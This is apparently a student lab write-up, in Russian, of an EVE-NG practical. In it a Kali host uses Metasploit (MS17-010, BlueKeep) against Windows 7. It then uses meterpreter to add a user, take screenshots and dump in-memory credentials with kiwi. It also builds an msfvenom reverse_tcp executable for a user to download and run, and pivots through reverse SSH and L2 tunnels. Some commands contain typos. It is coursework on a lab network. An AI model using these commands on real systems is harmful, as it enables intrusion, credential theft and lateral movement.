# **Практика №3-4**.
# **Эксплутация уязвимостей. MetaSplot Framework**
# **Задание к практической работе №3**
- Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
- Настроить каждое устройство в соответсвии со следующими параметрами:
- Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
- На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины
- Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов
- Использую Metasploit Framework - получить доступ до Windows-7 виртуальной машины
- Используя payload meterpreter:
- выполнить создание нового пользователя
- Выполнить скриншот рабочего стола
- получить все учетные записи, находящиеся в памяти системы
- Выполнить проксирование трафика во внутреннюю инфраструктуру
# **Выполнение задания**
Для начала необходимо построить инфраструктуру в соответствии с заданием, проверить настройки pfsense и посмотреть ip адреса устройств:

pfsense:

Windows7:
```
ipconfig
```

KaliLinux:
```
ip a
```

После настройки устройств необходимо пробросить порты(445,3389) в pfsense. Для этого заходим в браузер на устройстве Windows7 и пишем WAN ip pfsense, после чего пробрасываем порты:


# Сканирование внешнего интерфейса межсетевого экрана с помощью nmap
Используя KaliLinux, сканируем межсетевой экран:
```
sudo nmap 192.168.25.145 -p445,3389 -A
```

Для обнаружения уязвимостей воспользуемся скриптами nmap:
Чтобы установить скрипт Nmap-vulners, перейдем в каталог скриптов Nmap с помощью следующей команды:
`cd /usr/share/nmap/scripts/`
Далее клонируем git репозиторий:
`git clone https://github.com/vulnersCom/nmap-vulners.git`
Теперь можно просканировать хост:
```
sudo nmap -sV --script vuln 192.168.25.145 -p445,3389
```
Скрипт нашел уязвимость ms17-010:

С помощью msfconsole находим эксплойты ms17-010 и пытаемся их выполнить:
Запускаем:
`msfconsole`
Ищем:
`search ms17-010`

Выбираем конкретный:
`use 0`
Задаем таргет:
`set RHOSTS 196.168.25.145`
Используем:
`run`

В итоге мы получили доступ к устройсту.
# Использование payload meterpreter
`set payload windows/x64/meterpreter/reverse_tpc`
- выполнить создание нового пользователя
Сначала активируем использование протокола RDP на удаленной машине:
meterpreter>
`run getgui -e`

meterpreter>
`run getgui -u USER -p PASS`

хотя meterpreter выдал ошибку создания пользователя, при перезагрузке устройста(Windows7), пользователь создался!

- выполнить скриншот рабочего стола
meterpreter>
`screenshare`

- получить все учетные записи, находящиеся в памяти системы
meterpreter>
```
load kiwi
creds_all
```

- Выполнить проксирование трафика во внутреннюю инфраструктуру
Для начала пробросим порт с Windows7 до pfsense:
portfwd add -L (kali ip) -l (random port on kali) -p (port on Win7) -r (LAN ip pfsense)
`portfwd add -L 192.168.25.144 -l 2323 -p 443 -r 192.168.1.1`
Теперь можем зайти в pfsense через кали:

- Превышение прав доступа
При попытке превысить права с помощью exploits(), к сожалению ничего не получилось потому, что версия Win10 не 1903-1909 x64





# **Практика №4. Revers Shells & Reverse SSH connections.**
# Reverse_shell
Теперь немного изменяем инфраструктуру из прошлой лабораторной работы:

В Win10 получаем ip:
```
ipconfig
```

Сканируем этот ip через nmap:
`nmap 192.168.1.107 -O`

Видим ОС устройства.
Теперь при помощи msfvenom создадим исполняемый файл, который будет выполнять payload windows/x64/meterpreter/reverse_tcp:
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -f exe -o meterpreter.exe`

Теперь в этой же дирректории, запускаем модуль Python(SimpleHTTPServer) для того, чтобы пользователь Win10 мог скачать наш исполняемый файл:

Заходим в систему Win10 как обычный пользователь без прав и открываем сайт:

Скачиваем файл:

Так же необходимо настроить сервер, используем специальный эксплойт, который будет слушать все.
В msfconsole используем эксплойт для прослушки:
`use exploit/multi/handler`
Задаем эксплойту прослушиваемый пейлоад:
`set payload windows/x64/meterpreter/reverse_tcp`
Задаем эксплойту адрес прослушки:
`set lhost 0.0.0.0`

Теперь с Win10 запустим скачанный ранее файл, и посмотрим что произойдет:

В итоге мы поличили доступ к meterpreter. Но при попытке получить доступ к экрану, мы видим что у нас нет прав доступа!
meterpreter>
`screenshare`

Еще раз убедимся что мы зашли за обычного пользователя:
meterpreter>
```
shell
whoami
```

# Reverse SSH Connection
Изменим инфраструктуру, вынесем Kali Linux за пределы локальной сети:

На Kali включим ssh:
`sudo service ssh start`
Сделаем так, чтобы ssh включался автоматически:
`sudo systemctl enable ssh`

Подключаемся через Win10 к Kali по SSH:
`ssh user@192.168.25.156`

Теперь через Win10 пробросим порт 3390 на кали, так чтобы Kali подлкючался сам к себе, и попадал на порт 3389 на Win10:
`ssh -R 3390:localhost:3389 user@192.168.25.156`

Теперь посмотрим результат сканирования сокетов на Kali до и после выполнения обратного SSH:
`ss -tunlp`

Видим что появился новый процесс на 3390 порту.
Теперь мы можем на Kali подключиться по RDP к самим себе, и увидеть что мы получили доступ к Win10!
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390`


Теперь на Kali, через обратное подключение к Win10, дадим доступ Kali на порту 3389 до порта 3389 на Win7:
`ssh -R 3389:192.168.1.102:3389 user@192.168.25.156`

Снова посмотрим активные сокеты на Kali:
`ss -tunlp`

Теперь видим новый процесс на порту 3389.

Дальше на Kali попробуем атаковать Win7 с помощью уязвимости bluekeep:
```
msfconsole
search bluekeep
use 1
set rhost 127.0.0.1
set target 8
run
```

В итоге мы получаем доступ до Win7!!!
# SSH reverse_shell через Debian(L3)
Снова поменяем инфраструктуру:

Попробуем получить доступ Kali до Win7 пробросив порты на Debian:
Debian:
`ssh -R 3389:192.168.1.113:3389 user@192.168.25.156`
Kali
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3389`

Далее с помощью msfconsole и эксплойта bluekeep можем получить доступ как в прошлом пункте.
Настроим на Debian получение ip по dhcp:
`sudo nano /etc/network/interfaces`
auto ens3
iface ens3 inet dhcp
Теперь можем увидеть идущий трафик.

# SSH L2 Tunneling
Настроим на Debian получение ip по dhcp, так же создадим мост между интерфейсами e0 и e1:
`sudo nano /etc/network/interfaces`
Меняем файл конфигурации:
auto ens3
iface ens3 iten manual
auto ens4
iface ens4 iten manual
auto br0
iface br0 inet dhcp
bridge_ports ens3 ens4

Сначала зададим пароль для root на Kali и отредактируем файл /etc/ssh/sshd_config:
`sudo passwd root`
`sudo nano /etc/ssh/sshd_config`
*PermitTunnel yes
PermitRootLogin yes*

Сначала на Debian создадим туннель:
`ssh root@192.168.25.156 -o Tunnel=etherner -w any:any`

На обеих устройствах создается интерфейс tap0:

На Debian добавляем tap0 интерфес к br0:
`brctl addif br0 tap0`

Поднимаем этот интерфейс:
`ip link set dev tap0 up`

Теперь делаем тоже самое на Kali:
`ip link set dev tap0 up`
И прослушиваем этот интерфейс:
`tcpdump -i tap0`

Попробуем получить dhcp адрес:

Видим что у нас теперь ip как будто мы внутри инфраструктуры. Можем зайти на сайт pfsense:
